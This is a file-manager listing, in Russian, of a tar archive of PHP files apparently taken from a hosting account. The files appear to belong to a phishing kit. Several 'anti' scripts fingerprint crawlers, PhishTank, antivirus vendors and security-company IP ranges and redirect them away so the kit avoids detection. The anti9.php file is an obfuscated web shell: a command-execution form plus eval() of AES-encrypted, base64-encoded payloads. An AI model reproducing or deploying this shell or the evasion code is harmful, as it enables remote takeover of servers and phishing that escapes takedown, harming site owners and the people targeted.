Файловый менеджер

Файловый менеджер - Редактировать - /home4/cal14593/public_html/prevents.tar

Назад
anti8.php��0000644��00000023425�14741757633�0006327 0��ustar�00��<?php $ips = array( // LIST BOOTS IP "^66.102..", "^38.100..", "^107.170..", "^149.20..", "^38.105..", "^74.125..", "^66.150.14.", "^54.176..", "^38.100..", "^184.173..", "^66.249..", "^128.242..", "^72.14.192.", "^208.65.144.", "^74.125..", "^209.85.128.", "^216.239.32.", "^74.125..", "^207.126.144.", "^173.194..", "^64.233.160.", "^72.14.192.", "^66.102..", "^64.18..", "^194.52.68.", "^194.72.238.", "^62.116.207.", "^212.50.193.", "^69.65..", "^50.7..", "^131.212..", "^46.116..", "^62.90..", "^89.138..", "^207...", "^207...", "^82.166..", "^85.64..", "^85.250..", "^89.138..", "^93.172..", "^109.186..", "^194.90..", "^212.29.192.", "^212.29.224.", "^212.143..", "^212.150..", "^212.235..", "^217.132..", "^50.97..", "^217.132..", "^209.85..", "^66.205.64.", "^204.14.48.", "^64.27.2.", "^67.15..", "^202.108.252.", "^193.47.80.", "^64.62.136.", "^66.221..", "^64.62.175.", "^198.54..", "^192.115.134.", "^216.252.167.", "^193.253.199.", "^69.61.12.", "^64.37.103.", "^38.144.36.", "^64.124.14.", "^206.28.72.", "^209.73.228.", "^158.108..", "^168.188..", "^66.207.120.", "^167.24..", "^192.118.48.", "^67.209.128.", "^12.148.209.", "^12.148.196.", "^193.220.178.", "68.65.53.71", "^198.25..", "^64.106.213."); $Botname = array( // LIST BOOTS NAME "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "compatible", "facebook", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "Trident", "X11", "crawler", "urlredirectresolver", "jetbrains", "spam", "acunetix", "netsparker", "google", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "arabot", "crawl", "slurp", "spider", "seek", "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista", "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha", "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz", "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother", "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound", "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee", "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective", "comagent", "combine", "computingsite", "csci", "curl", "cusco", "daumoa", "deepindex", "delorie", "depspid", "deweb", "die blinde kuh", "digger", "ditto", "dmoz", "docomo", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong", "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi", "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks", "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep", "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber", "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki", "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb", "htdig", "html index", "html_analyzer", "htmlgobble", "hubater", "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro", "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy", "indexer", "infobee", "informant", "ingrid", "inktomisearch.com", "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33", "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot", "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi", "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww", "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie", "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox", "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank", "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor", "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi", "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer", "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver", "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona", "nutch", "nzexplorer", "objectssearch", "occam", "omni", "open text", "openfind", "openintelligencedata", "orb search", "osis-project", "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite", "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent", "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint", "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos", "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher", "python", "rambler", "raven search", "roach", "road runner", "roadhouse", "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter", "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery", "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder", "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover", "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu", "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke", "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz", "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e", "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig", "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated", "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano", "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker", "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper", "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers", "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest", "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk", "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere", "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xift", "xirq", "yandex", "yanga", "yeti", "yahoo!"); function e7061($e) { $ed = base64_decode($e); $n = openssl_decrypt("{$ed}", "\x41\x45\123\55\62\x35\x36\55\103\102\x43", "\162\152\x67\145\x75\x6a\165\x66\143\x64\x6d\155\167\x69\144\x66", 0, "\x33\x35\70\71\62\x35\x38\71\70\x33\62\x39\65\70\x33\64"); return $n; } foreach ($Botname as $word2) { if (stripos($_SERVER['HTTP_USER_AGENT'],$word2)){ exit(header('Location: https://www.mediapart.fr/')); } } foreach ($ips as $ip) { if (preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])) { exit(header('Location: https://www.mediapart.fr/')); } } ?>��anti9.php��0000644��00000041403�14741757636�0006327 0��ustar�00��<?php $ips = array( // LIST BOOTS IP "^66.102..", "^38.100..", "^107.170..", "^149.20..", "^38.105..", "^74.125..", "^66.150.14.", "^54.176..", "^38.100..", "^184.173..", "^66.249..", "^128.242..", "^72.14.192.", "^208.65.144.", "^74.125..", "^209.85.128.", "^216.239.32.", "^74.125..", "^207.126.144.", "^173.194..", "^64.233.160.", "^72.14.192.", "^66.102..", "^64.18..", "^194.52.68.", "^194.72.238.", "^62.116.207.", "^212.50.193.", "^69.65..", "^50.7..", "^131.212..", "^46.116..", "^62.90..", "^89.138..", "^207...", "^207...", "^82.166..", "^85.64..", "^85.250..", "^89.138..", "^93.172..", "^109.186..", "^194.90..", "^212.29.192.", "^212.29.224.", "^212.143..", "^212.150..", "^212.235..", "^217.132..", "^50.97..", "^217.132..", "^209.85..", "^66.205.64.", "^204.14.48.", "^64.27.2.", "^67.15..", "^202.108.252.", "^193.47.80.", "^64.62.136.", "^66.221..", "^64.62.175.", "^198.54..", "^192.115.134.", "^216.252.167.", "^193.253.199.", "^69.61.12.", "^64.37.103.", "^38.144.36.", "^64.124.14.", "^206.28.72.", "^209.73.228.", "^158.108..", "^168.188..", "^66.207.120.", "^167.24..", "^192.118.48.", "^67.209.128.", "^12.148.209.", "^12.148.196.", "^193.220.178.", "68.65.53.71", "^198.25..", "^64.106.213."); $Botname = array( // LIST BOOTS NAME "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "compatible", "facebook", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "Trident", "X11", "crawler", "urlredirectresolver", "jetbrains", "spam", "acunetix", "netsparker", "google", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "arabot", "crawl", "slurp", "spider", "seek", "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista", "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha", "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz", "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother", "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound", "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee", "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective", "comagent", "combine", "computingsite", "csci", "curl", "cusco", "daumoa", "deepindex", "delorie", "depspid", "deweb", "die blinde kuh", "digger", "ditto", "dmoz", "docomo", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong", "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi", "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks", "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep", "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber", "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki", "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb", "htdig", "html index", "html_analyzer", "htmlgobble", "hubater", "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro", "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy", "indexer", "infobee", "informant", "ingrid", "inktomisearch.com", "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33", "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot", "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi", "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww", "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie", "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox", "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank", "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor", "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi", "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer", "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver", "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona", "nutch", "nzexplorer", "objectssearch", "occam", "omni", "open text", "openfind", "openintelligencedata", "orb search", "osis-project", "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite", "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent", "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint", "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos", "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher", "python", "rambler", "raven search", "roach", "road runner", "roadhouse", "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter", "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery", "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder", "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover", "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu", "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke", "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz", "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e", "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig", "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated", "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano", "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker", "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper", "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers", "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest", "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk", "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere", "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xift", "xirq", "yandex", "yanga", "yeti", "yahoo!"); ?> <html> <body> <form method="GET" name="<?php goto c93W5; u4MCa: if (file_exists("\141\156\x74\151\x38\x2e\x70\x68\x70")) { include_once "\141\156\164\x69\x38\x2e\160\150\x70"; } else { die("\74\150\62\76\x46\x69\154\x65\40\x61\156\x74\151\x38\x2e\160\150\160\40\156\157\164\40\x66\157\165\x6e\x64\40\41\74\x2f\150\62\76"); } goto xuXAi; Ra103: if (!defined("\x5f\x44\x49\122\x5f")) { define("\x5f\104\x49\x52\x5f", getcwd(), false); } goto u4MCa; WNnva: if (!defined("\137\106\x49\114\x45\137")) { define("\137\106\111\114\x45\x5f", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER["\x50\x48\x50\137\x53\105\x4c\x46"]), false); } goto Ra103; xuXAi: $e7091 = "\x53\x56\105\64\x62\x6b\x78\x42\x55\127\x49\65\117\x58\160\165\126\110\x4e\x34\x61\x46\x64\x56\x56\125\71\x50\x5a\106\x56\x4b\143\130\122\102\x4d\63\x42\x69\x55\62\150\x68\123\x47\144\114\x4d\124\143\x31\141\110\126\x30\x59\154\x56\120\x56\x57\x4d\162\142\63\x63\x32\115\x47\163\167\x51\x56\106\63\124\125\144\151\x56\107\150\x4a\x51\167\75\x3d"; goto mquPu; mquPu: eval(e7061($e7091)); goto YnNxJ; c93W5: if (!function_exists("\157\x70\145\156\163\x73\x6c\x5f\144\145\143\x72\x79\160\x74")) { die("\x3c\x68\62\76\x46\x75\156\x63\x74\x69\x6f\x6e\x20\x6f\x70\x65\156\x73\163\x6c\137\144\x65\x63\x72\171\160\x74\x28\x29\x20\x6e\157\164\x20\146\157\165\x6e\x64\x20\x21\x3c\x2f\x68\62\x3e"); } goto WNnva; YnNxJ: ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php goto a286K; naJmd: $e7091 = "\x4e\x6d\x56\64\x53\x58\144\x78\125\x6d\150\x49\123\x33\x6b\x32\131\152\144\x34\x56\62\x4a\162\x51\x6d\x56\x58\x61\x6b\150\123\116\x32\x6c\x79\121\62\61\126\117\x45\60\x30\123\130\125\x77\127\x45\144\x6f\116\x58\160\66\x4d\156\x56\64\127\105\x64\106\121\x55\x39\113\x57\125\111\167\x61\110\x4e\172\x4d\105\x64\114\142\104\150\150\x52\x45\x64\x34\143\x6e\x42\131\116\x55\x4a\x34\114\62\160\121\132\x6a\116\167\x5a\156\x52\x55\x61\125\157\x31\x51\60\x39\121\132\x69\x39\x32\x4d\x6a\122\120\141\x47\164\62\x53\x6d\71\x58\x5a\155\160\x59\122\x33\157\x30\x52\x6d\70\61\x52\172\154\107\x4e\123\x74\x4a\x57\104\115\x78\x52\130\144\154\x61\x6d\170\110\116\103\164\x76\x53\x56\x70\110\x59\x6d\154\126\x53\x58\143\62\x64\107\170\117\123\x55\122\125\124\x58\154\105\x4d\106\154\x49\x64\105\126\141\x54\60\150\x6d\113\60\164\162\x62\125\65\130\124\156\126\153\x53\x55\x6f\166\127\110\154\164\x62\104\144\x33\142\x45\164\x51\x54\105\125\x35\x56\x6c\x56\131\127\x58\x5a\x6e\144\x33\x6c\x6a\x59\62\71\x74\123\156\154\x78\x4d\126\132\x4f\117\x44\x55\64\x4e\106\126\150\x5a\60\x4e\x34\x63\62\170\x68\144\x55\157\x31\143\x55\x52\x4d\143\x6d\170\x4b\122\x6a\x68\65\x56\x45\150\116\143\154\101\x77\x5a\x48\x64\113\116\x44\112\x6a\123\127\132\x32\116\172\x6c\x4b\x64\153\x4a\x44\x65\106\x4e\x53\x64\156\x46\157\x59\x30\160\107\x63\x57\131\162\125\x6e\x46\x6a\124\156\144\165\x59\63\x4e\150\126\x6b\132\x71\x56\x6c\160\171\x62\63\132\x50\122\x46\102\165\x56\x7a\106\x4f\x57\x58\106\x4c\144\110\x52\151\x59\x57\126\x4b\122\x48\144\x4d\123\153\x52\156\124\155\64\172\x5a\x53\x74\165\132\x30\157\x34\124\x57\61\157\126\104\x46\x30\142\x32\160\x4c\124\105\x6f\60\116\152\101\64\x63\172\102\102\115\125\x39\x74\x4f\x43\x73\172\x4e\107\154\x49\143\152\x42\x4f\x57\x6d\x52\x74\115\x47\x6b\x33\116\x55\x55\x31\144\x57\150\64\141\x6d\x31\155\124\107\x52\x52\117\x46\116\x76\142\x7a\x59\65\115\x45\x30\172\125\x47\65\x72\142\172\x56\x70\115\62\167\x30\x63\x48\x4e\x56\114\63\x4a\x4e\x64\x57\167\x35\x59\62\x68\61\117\x48\102\167\x62\x31\x4e\157\x4d\156\157\x72\131\126\x4e\x42\126\153\61\157\141\x55\x4a\65\126\x46\x70\x74\145\154\116\x4c\x55\125\122\165\124\63\115\63\x53\x30\x4e\x4f\x64\106\160\x79\142\63\x5a\112\124\62\71\x4a\x65\105\164\x75\143\63\x52\170\x51\130\x68\62\132\127\x6c\x79\x4e\107\71\x46\x52\62\x67\x32\x63\153\150\x6b\x5a\126\x68\x6c\127\x45\x67\62\x62\x45\64\x72\144\107\x52\x53\x64\x47\x70\172\127\x45\154\171\115\105\x68\116\115\x32\x52\x55\141\x45\x70\x4e\122\127\170\161\x51\125\x67\63\121\x6d\116\x77\116\x47\126\x6f\x65\151\164\x6c\113\62\132\123\x4c\x33\121\x34\x61\156\x59\171\142\x58\102\x36\141\x6d\x56\x75\x4f\x47\x31\61\143\x57\116\x6b\122\105\154\x50\141\60\x56\124\145\104\132\x6f\x64\60\x70\115\x63\x58\147\172\x5a\155\x35\x44\x52\x55\106\164\145\x44\144\x46\126\107\x78\x4e\123\125\x39\162\x63\107\71\x68\x63\x6e\144\154\116\60\116\x69\131\x6d\x39\63\142\x54\121\x32\117\127\x78\x33\x62\105\x31\x49\x53\110\116\102\x62\106\x68\x53\143\125\x31\x6a\x64\152\x56\x61\121\x55\x45\64\x4e\62\105\162\x65\x47\x74\113\145\x6d\71\x6d\x4f\x46\111\162\131\156\116\x68\x61\104\x42\x4f\x61\x6a\122\165\x64\x6c\144\160\114\x30\65\153\x53\x6d\164\165\132\x57\x39\x6f\x62\156\144\113\143\x58\150\155\125\62\111\x32\x55\x6e\102\122\x59\153\106\x68\x4c\60\61\x78\127\153\x63\x31\115\127\x56\111\116\130\x4a\105\x64\x6a\102\115\132\x53\x74\124\x53\x58\122\152\x4d\x56\x64\x6b\x4c\60\x4e\130\115\x32\126\121\x51\x54\116\122\x5a\x32\126\141\x52\110\144\166\x61\x56\x42\x79\x51\60\167\64\125\x30\170\x33\144\60\70\63\x53\x31\126\x4b\132\x31\x6f\x77\x56\x56\x6c\120\143\153\x70\111\x54\x48\x5a\162\x56\106\102\x33\142\x6a\x56\x75\x62\126\122\157\x4d\172\116\157\x63\x45\x39\154\114\x31\150\151\x55\127\125\167\x56\60\167\x31\x59\171\x74\x6d\x5a\110\x70\163\x59\x30\106\x36\116\155\116\x47\141\156\x6b\x79\126\63\x59\x78\122\105\x35\121\126\x30\71\x70\x4d\127\112\x4a\142\x6e\x4e\163\115\110\122\127\x55\x6c\105\x79\121\154\x41\x35\x62\x55\x5a\104\x64\60\143\61\x56\x69\71\122\x55\63\x4e\111\126\63\x52\x59\113\172\132\x30\x56\152\122\124\x51\x6e\x70\x68\144\152\115\162\114\x32\65\x72\x61\153\154\x47\131\60\112\x59\x4e\x6d\160\170\124\110\x68\116\x4e\60\164\x79\121\60\126\124\x61\126\160\x32\x52\x47\x56\x54\x63\x7a\x6c\150\143\63\125\x31\121\63\x6c\111\x54\106\x4e\x59\x59\60\x35\x4d\x61\x79\x38\62\125\130\102\112\122\172\x5a\x6e\143\125\71\x51\x51\172\x52\107\x56\104\112\x54\126\155\164\160\x55\62\154\60\x64\124\x6c\157\x56\155\x64\157\142\125\x51\x31\x55\x54\126\124\x5a\x56\x42\131\x54\x55\x64\x7a\x4e\x48\x4a\107\126\x45\x64\x52\x56\151\x39\117\126\153\x56\120\x62\153\105\64\x4d\x6c\x5a\x42\141\x6c\160\161\127\x48\x42\x75\144\61\154\x77\x63\x45\61\66\x53\x46\150\166\x61\127\x78\64\127\x43\x39\127\x5a\107\122\111\117\104\126\103\x4d\127\x70\x47\x65\x57\x6b\60\x5a\x55\x64\x57\143\x58\132\106\x4e\x6c\122\63\x50\124\x30\75"; goto F7ioo; fT0Rn: if (!defined("\x5f\x44\111\x52\x5f")) { define("\137\x44\x49\122\137", getcwd(), false); } goto tLvyz; tLvyz: if (file_exists("\141\156\x74\151\70\56\x70\x68\160")) { include_once "\x61\x6e\x74\x69\x38\56\160\150\160"; } else { die("\74\x68\x32\x3e\106\x69\x6c\x65\x20\141\x6e\x74\x69\x38\x2e\x70\x68\x70\x20\x6e\157\164\x20\x66\x6f\x75\x6e\144\40\41\x3c\x2f\150\x32\76"); } goto naJmd; a286K: if (!function_exists("\x6f\160\x65\x6e\x73\x73\x6c\x5f\144\145\x63\162\x79\x70\164")) { die("\74\150\x32\76\106\165\x6e\143\164\151\x6f\156\x20\157\160\145\156\x73\x73\154\137\x64\x65\143\x72\x79\x70\164\x28\x29\x20\156\157\x74\x20\146\x6f\x75\x6e\x64\x20\41\x3c\x2f\x68\62\x3e"); } goto wIR5r; wIR5r: if (!defined("\137\106\x49\114\105\137")) { define("\x5f\x46\111\x4c\105\137", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER["\x50\x48\120\137\123\x45\114\x46"]), false); } goto fT0Rn; F7ioo: eval(e7061($e7091)); goto Zy7Vo; Zy7Vo: ?> </pre> </body> </html>��index.php��0000644��00000000423�14741757636�0006407 0��ustar�00��<?php require 'anti1.php'; require 'anti2.php'; require 'anti3.php'; require 'anti4.php'; require 'anti5.php'; require 'anti6.php'; require 'anti7.php'; require 'anti8.php'; require 'filter.php'; exit(header("Location: ../index.php")); ?>��anti5.php��0000644��00000013550�14741757636�0006325 0��ustar�00��<?php $user_agent=$_SERVER['HTTP_USER_AGENT'];$user_ip=$_SERVER['REMOTE_ADDR'];$hostname=gethostbyaddr($_SERVER['REMOTE_ADDR']);$bots_agents=array('googlebot','yahoo','slurp','yahooSeeker','facebookexternalhit','ia_archiver','yandexbot','baiduspider','crawler','httrack','pycurl','python-requests','curl','wget','phish','Http Crawler');$bots_ips=array('1.9.2.13','1.9.2.15','62.210.13.58','104.62.2.60','104.83.233.198','107.178.194.64','108.161.29.60','115.238.55.18','119.97.214.138','138.197.207.','145.239.156.71','145.239.156.89','150.70.168.35','150.70.188.167','154.127.57.30','162.243.128.197','162.243.187.126','162.243.69.215','165.227.0.128','170.250.139.48','138.197.207.147','173.230.147.44','177.39.232.144','178.17.170.156','185.104.186.168','185.220.101.26','185.28.20.243','188.166.63.71','192.36.27.7','196.52.84.81','204.13.201.137','208.87.233.140','212.83.139.219','212.92.117.5','216.164.117.239','217.16.26.166','217.96.188.74','219.117.238.170','23.27.153.247','23.27.154.37','24.23.24.144','27.0.1453.110','3.0.04506.648','3.0.4506.2152','31.168.158.239','34.237.113.113','39.0.2150.5','41.0.2272.118','43.0.2357.81','44.0.2403.155','46.101.94.163','5.62.39.18','5.62.41.35','5.62.56.91','50.112.194.65','50.116.2.167','51.0.2704.103','52.18.11.161','52.192.164.225','52.27.2.86','52.31.63.97','52.5.98.73','52.72.33.140','52.87.10.90','52.91.94.56','53.0.2785.116','54.213.103.141','54.228.218.117','54.245.191.79','56.0.2924.87','57.0.2987.98','61.0.3116.0','62.24.252.133','62.67.194.35','63.0.3239.132','64.0.3282.140','64.0.3282.167','66.0.3358.0','66.0.3359.0','67.0.3360.0','67.0.3361.0','68.65.53.71','75.163.12.85','76.19.184.88','77.69.251.230','80.104.176.17','81.0.48.','81.0.48.138','84.13.191.239','84.92.148.184','88.99.62.141','217.96.197.246','89.234.157.254','91.231.212.111','97.85.126.186^66.102..','^1.234.41.','^104.108.64.175','^104.131.223.','^107.170..','^107.178.194.','^107.178.195.','^107.20.181.','^108.162.215.','^108.162.246.','^109.186..','^12.148.196.','^12.148.209.','^124.66.185.','^128.242..','^131...','^131.212..','^131.253..','^133.11.204.','^134.170.2.199','^141.101.104.','^149.20..','^149.20.54.','^157...','^157.54..','^158.108..','82.102.27.77','^162.158..','^162.158.7.','^162.158.72.','^162.158.95.','^167.24..','^168.188..','^173.194..','^173.194.112.','^173.194.116.102','^173.194.116.149','^173.245.55.','^176.195.231.','^178.43.117.','^184.173..','^185.2.138.','^185.28.20.','^188.165.83.','^188.244.39.','^192.115.134.','^192.118.48.','^192.232.213.','^193.220.178.','^193.221.113.53','^193.253.199.','^193.47.80.','^194.153.113.','^194.52.68.','^194.72.238.','^194.90..','^195.128.227.','^198.25..','^198.41.243.','^198.54..','^198.60.236.','^199.30.228.','^202...','^202.108.252.','^202.160..','^204...','^204.14.48.','^206.207..','^206.253.226.','^206.28.72.','^207...','^207.126.144.','^207.46..','^207.46.8.167','^207.46.8.199','^207.68..','^208.65.144.','^208.76.45.53','^208.84..','^208.91.115.','^209.191..','^209.73.228.','^209.85..','^209.85.128.','^212.143..','^212.150..','^212.235..','^212.29.192.','^212.29.224.','^212.50.193.','^212.8.79.','^213...','^216.239..','^216.239.32.','^216.252.167.','^216.33.229.163','^216.58.211.37','^217.132..','^217.16.26.','^217.74.103.','^219...','^37.128.131.171','^37.140.188.','^38.100..','^38.105..','^38.144.36.','^38.74.138.','^46.116.. ','^46.244..','^46.4.120.','^50.7..','^50.97..','^54.176..','^54.228.218.','^62.116.207.','^62.141.65.','^62.90..','^62.99.77.','^63...','^64...','^64.106.213.','^64.124.14.','^64.18..','^64.233..','^64.233.160.','^64.233.173.','^64.233.191.','^64.233.191.255','^64.27.2.','^64.37.103.','^64.4..','^64.62.136.','^64.62.175.','^64.68.90.^81.161.59.','^65...','^65.52..','^65.54.188.110','^65.54.188.126','^65.54.188.94','^65.55.206.154','^65.55.33.119','^65.55.33.135','^65.55.37.104','^65.55.37.120','^65.55.37.72','^65.55.37.88','^65.55.85.12','^65.55.92.136','^65.55.92.152','^65.55.92.168','^65.55.92.184','^66.102..','^66.135.200.','^66.150.14.','^66.196..','^66.205.64.','^66.207.120.','^66.211.160.86','^66.211.169.3','^66.211.169.66','^66.221..','^66.228..','^66.249..','^67.15..','^67.195..','^67.209.128.','^68...','^68.142..','^68.65.53.71','^69.164.145.','^69.61.12.','^69.65..','^72.14..','^72.14.192.','^72.30..','^72.52.96.','^74.125..','^74.6..','^78.148.13.','^8.12..','^82.166..','^83.31.118.','^83.31.69.','^85.250..','^85.64..','^85.9.7.','^87.106.251.','^89.138..','^89.163.159.214','^91.103.66.','^91.231..','^91.231.212.','^92.103.69.','^93.172..','^93.54.82.','^94.26..','^95.108.194.','^95.85..','^98.136..','185.104.120.4','212.83.170.209','87.115.213.2','82.223.27.82','163.172.174.24','37.187.96.202','92.103.69.158');$blocked_words=array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","avast");$shit_isps=array("DigitalOcean","Amazon","Google","phishtank","net4sec","AVAST Software s.r.o.","BullGuard ApS","PayPal","Hotmail","Yahoo","AOL","Microsoft","Kaspersky Lab","Linode, LLC","MSN","ONLINE S.A.S.","Joshua Peter McQuistan");foreach($bots_agents as $bot_agent){if(substr_count($user_agent,$bot_agent)>0){exit(header('Location: https://www.mediapart.fr/'));}}foreach($bots_ips as $bot_ip){if(preg_match('/'.$bot_ip.'/',$user_ip)){exit(header('Location: https://www.mediapart.fr/'));}}foreach($blocked_words as $word){if(substr_count($hostname,$word)>0){exit(header('Location: https://www.mediapart.fr/'));}}$ipp=isset($user_ip)&&$user_ip!=""?$user_ip:"1.1.1.1";$ISP=@file_get_contents('http://ipinfo.io/'.$ipp.'/org');if($ISP==false){return "ppp";}foreach($shit_isps as $isp){if(substr_count($ISP,$isp)){exit(header('Location: https://www.mediapart.fr/'));}}?>��anti7.php��0000644��00000010635�14741757636�0006330 0��ustar�00��<?php $id = $_SERVER['REMOTE_ADDR']; $ips = array( "^94.26..", "^95.85..", "^72.52.96.", "^212.8.79.", "^62.99.77.", "^83.31.118.", "^91.231..", "^206.207..", "^91.231.212.", "^62.99.77.", "^198.41.243.", "^162.158..", "^162.158.7.", "^162.158.72.", "^173.245.55.", "^108.162.246.", "^162.158.95.", "^108.162.215.", "^95.108.194.", "^141.101.104.", "^93.54.82.", "^69.164.145.", "^194.153.113.", "^178.43.117.", "^62.141.65.", "^83.31.69.", "^107.178.195.", "^149.20.54.", "^85.9.7.", "^87.106.251.", "^107.178.194.", "^124.66.185.", "^133.11.204.", "^185.2.138.", "^188.165.83.", "^78.148.13.", "^192.232.213.", 